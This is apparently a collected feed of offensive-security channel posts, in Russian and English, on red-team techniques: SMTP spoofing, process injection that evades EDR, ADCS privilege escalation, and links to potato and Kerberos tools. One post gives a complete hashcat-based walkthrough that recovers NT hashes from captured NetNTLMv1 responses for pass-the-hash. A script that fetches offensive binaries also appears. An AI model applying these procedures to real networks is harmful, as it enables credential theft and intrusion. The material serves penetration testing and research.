APT

SMTP Smuggling - Spoofing E-Mails Worldwide. Очень крутой, при этом подробный ресерч. Вкратце, благодаря смаглу сообщений, позволяет отправить сообщение от имени любого пользователя почтового сервера в обход фильтров. https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/ P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод #initial #fishing #pentest #redteam

AtlasLdr Reflective x64 PE/DLL Loader implemented using Dynamic Indirect Syscalls Features:

* Retrieve of DLL and PE from a remote server * Manual Mapping on a remote process * Position independent code * Use of indirect Syscalls - ZwAllocateVirtualMemory - ZwProtectVirtualMemory - ZwQuerySystemInformation - ZwFreeVirtualMemory - ZwCreateThreadEx * Single stub for all Syscalls - Dynamic SSN retrieve - Dynamic Syscall address resolution * Atlas also uses - LdrLoadDll - NtWriteVirtualMemory * Custom implementations of - GetProcAddress - GetModuleHandle * API hashing * Cleanup on error * Variable EntryPoint

🌐 The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools See how SafeBreach Labs Researchers developed a brand new set of highly flexible process injection techniques that are able to completely bypass leading endpoint detection and response (EDR) solutions. 💉 PoolParty A collection of fully-undetectable process injection techniques abusing Windows Thread Pools. PoolParty Variants: 1 - Overwrite the start routine of the target worker factory 2 - Insert TP_WORK work item to the target process's thread pool 3 - Insert TP_WAIT work item to the target process's thread pool 4 - Insert TP_IO work item to the target process's thread pool 5 - Insert TP_ALPC work item to the target process's thread pool 6 - Insert TP_JOB work item to the target process's thread pool 7 - Insert TP_DIRECT work item to the target process's thread pool 8 - Insert TP_TIMER work item to the target process's thread pool

🔐 Exploiting WSUS with MITM for ADCS ESC8 Attack Discover how attackers abuse misconfigured WSUS servers to escalate privileges through ADCS vulnerabilities. Delve into the intricacies of Windows Server Update Services and the potential risks associated with misconfigurations. 📝 Research: https://j4s0nmo0n.github.io/belettetimoree.github.io/2023-12-01-WSUS-to-ESC8.html #ad #adcs #wsus #mitm

📄 ADCS: New Ways to Abuse ManageCA Permissions The Certsrv service exhibits a race condition during the creation of CRL files, any standard user with ManageCA ACL and publish the CDP and carry out arbitrary file movements, ultimately leading to domain elevation of privileges. 🔗 https://whoamianony.top/posts/ad-cs-new-ways-to-abuse-manageca-permissions/ #ad #adcs #manageca #privesc

Вот и мы с @securixy_kz решили запилить о больном #meme #certs

Что делать, если на пентесте вы получили NetNTLMv1 хеш учетной записи? Как пример - вы можете выполнить ntlm relay атаку или восстановить NTLM хеш по радужной таблице на сервисе crack.sh. Но что то пошло не так...Но сервис crack.sh уже больше полугода не работает. Что же делать, когда Relay атака бесполезна, а радужных таблиц нет? Ответ простой - брутить! На самом деле NetNTLMv1 хеш состоит из 2 3 блоков зашифрованных с помощью DES. А про DES мы помним, что он какой то не безопасный. Далее описаны простые шаги, как вы можете перебрать всё пространство ключей с помощью утилиты Hashcat. Данная техника не нова, она много раз описана в интернете, но вспомнить этот метод будет не лишним перед следующим постом. 1. Получаем NetNTLMv1 хеш с помощью Responder, воспользовавшись флагами --lm и --disable-ess. 2. Если не хватает терпения разбить хеш на 3 равные части - качаем скрипт и запускаем следующим образом

python http://ntlmv1.py --nossp <ntlmv1_hash_nossp>

3. Если вам хватило терпения и вы вручную разбили хеш на 3 равные части - допишем к нему Challenge и сформируем файл для брута в следующем виде (последнюю 3-ю часть не обязательно брутить, что с ней делать я расскажу позже)

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

4. Далее запускаем брут следующим образом

hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr  --hex-charset des.file '?1?1?1?1?1?1?1?1'

На 8 картах 1080Ti это займет максимум 6 суток. На 4 картах 4090Ti это займет максимум 1 день и 13 часов. 5. Получим на выходе такой файл:

727b4e35f947129e:1122334455667788:$HEX[8923bdfdaf753f63]
a52b9cdedae86934:1122334455667788:$HEX[17d741d7ddc1c36f]

6. Теперь соберем блоки обратно в NTLM хеш

perl deskey_to_ntlm.pl 8923bdfdaf753f63
output= 8846f7eaee8fb1

perl deskey_to_ntlm.pl 17d741d7ddc1c36f
output= 17ad06bdd830b7

7. Помните мы 3-й блок не стали брутить? Все потому что восстановить оставшуюся часть NTLM хеша не составит труда, т.к. значимые данные занимают всего 2 байта, а остальное padding (Подробности на приложенном скрине). Восстановить данную часть мы можем мгновенно полным перебором на CPU.

./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
output= 586c

8. Собираем NTLM хеш из полученных частей и можем использовать его для атак Pass The Hash, Over Pass The Ticket и Silver Ticket.

8846f7eaee8fb1 + 17ad06bdd830b7 + 586c

NT hash
8846f7eaee8fb117ad06bdd830b7586c

Давно думал, публиковать свой софт или нет... Вот и решил для начала переписать Rubeus (не весь конечно) на C и перевести в COF файлы. В общем, из коробки работает с Cobalt Strike и Havoc😁😁 https://github.com/RalfHacker/Kerbeus-BOF #bof #git #soft #redteam #pentest

Как и в том году мой бывший коллега со своей командой CTI создали новый огромный отчёт. На этот раз про азиатским APT группировки! Отчёт содержит 370 страниц подробного анализа о различных азиатских APT группировок с описанием TTPs, анализом действий атакующих на основе "Unified Kill Chain" и много других крутых штук, отчёт доступен для скачивания в RU и EN вариантах. P.S. Данный материал на 14:00 по мск эксклюзив.

⚛️ Nuclei AI — Browser Extension Nuclei AI Browser Extension, built on top of cloud.projectdiscovery.io, simplifies the creation of vulnerability templates, by enabling users to extract vulnerability information from any webpages to quickly and efficiently create nuclei templates, saving valuable time and effort. 🚀 Features — Context Menu Option to Generate Template — HackerOne Report to Nuclei Template Generation — ExploitDB exploit to Nuclei Template Generation — BugCrowd / Intigriti / Synack support (Coming soon) 🔗 https://github.com/projectdiscovery/nuclei-ai-extension #nuclei #template #generator #chrome #extension

🔥 Bitrix24 Multiple Vulnerabilities Multiple high-risk vulnerabilities found in Bitrix24 v22.0.300. These include Remote Command Execution, Cross-Site Scripting, Prototype Pollution, Insecure File Access, and Denial of Service. 🌐 Details and PoC's: 🔗 CVE-2023-1713 (RCE) 🔗 CVE-2023-1714 (RCE) 🔗 CVE-2023-1715 (XSS) 🔗 CVE-2023-1717 (XSS) 🔗 CVE-2023-1718 (DoS) 🔗 CVE-2023-1719 (IDOR) #bitrix24 #rce #xss #dos #idor

😈 [ Almond OffSec @AlmondOffSec ] Understanding the different types of LDAP authentication methods is fundamental to apprehend subjects such as relay attacks or countermeasures. This post by @lowercase_drm introduces them through the lens of Python libraries. 🔗 https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html 🐥 [ tweet ]

Если кто-то не совсем разобрался с техникой DLL Hijacking, или может совсем не в курсе, что это такое, советую данный материал. Очень хорошая работа! https://elliotonsecurity.com/perfect-dll-hijacking/ So today, we're doing 100% original research reverse engineering the Windows library loader to not just cleanly workaround Loader Lock but, in the end, disable it outright. Plus, coming up with some stable mitigation & detection mechanisms defenders can use to help guard against DLL hijacking. #maldev #redteam

Для автоматизации загрузки скомпиленных бинарей, к примеру из репозитория #SharpCollection можете добавить альяс в свой .zshrc и использовать его подручно. Удобно, быстро и хорошо...

SharpCollection() {curl -sSL 'https://api.github.com/repos/Flangvik/SharpCollection/git/trees/master?recursive=1' | jq -r '.tree[] | select(.path | endswith(".exe")) | .path | split("/") | "\(.[0]) - \(.[1])"' | fzf -m --reverse --height=50% --preview-window=down:5% -d" - " --preview 'echo "curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/"{1}"/"{2}" -o "{2}""' | awk -F' - ' '{print $1,$2}' | while read -r arch filename; do echo; wget https://github.com/Flangvik/SharpCollection/raw/master/$arch/$filename -O $filename; done}

Спасибо Паше за подсказку

⚡PsMapExec A PowerShell tool that takes strong inspiration from CrackMapExec. 🚀 Supported Methods — PsExec — RDP — SMB Signing — WinRM — WMI 🔗 More Detailed 🔗 Github Repository #ad #windows #powershell #cme

🔐 Crack.sh is dead, Long Live Shuck.sh Recently, many of you might've noticed that Crack.sh is currently unavailable. While it's been an invaluable tool in our arsenal, the landscape is ever-changing, and we need to pivot. Meet Shuck.sh, an emerging service that offers similar capabilities, leveraging the extensive Have I Been Pwned (HIBP) database. 🚀 Key Features: — Shuck It: Instantly shuck NetNTLMv1, PPTP VPN, and WPA-Enterprise MSCHAPv2 challenges against HIBP's NT-hash database. — Tech Insight: Efficient binary search for DES-keys collisions from a subset of the HIBP database. — Fast & Free: Got around 100 NetNTLMv1 challenges? Extract their corresponding NT-Hashes in roughly 10 seconds. One significant advantage of Shuck.sh over other tools is its ability to be deployed locally. For those concerned about security and privacy, you can set up Shuck.sh on your own environment using its script from the GitHub repository. 🔗 Shuck.sh 🔗 GitHub Repository 🔗 Pwned Passwords Version 8 (Torrent) #ntlmv1 #des #mschapv2 #bruteforce

🥔 Coerced Potato New tool for local privilege escalation on a Windows machine, from a service account to NT SYSTEM. Should work on any recent versions of Windows. ⚙️ Tool: https://github.com/hackvens/CoercedPotato 📝 Research: https://blog.hackvens.fr/articles/CoercedPotato.html #windows #lpe #seimpersonateprivilege #potato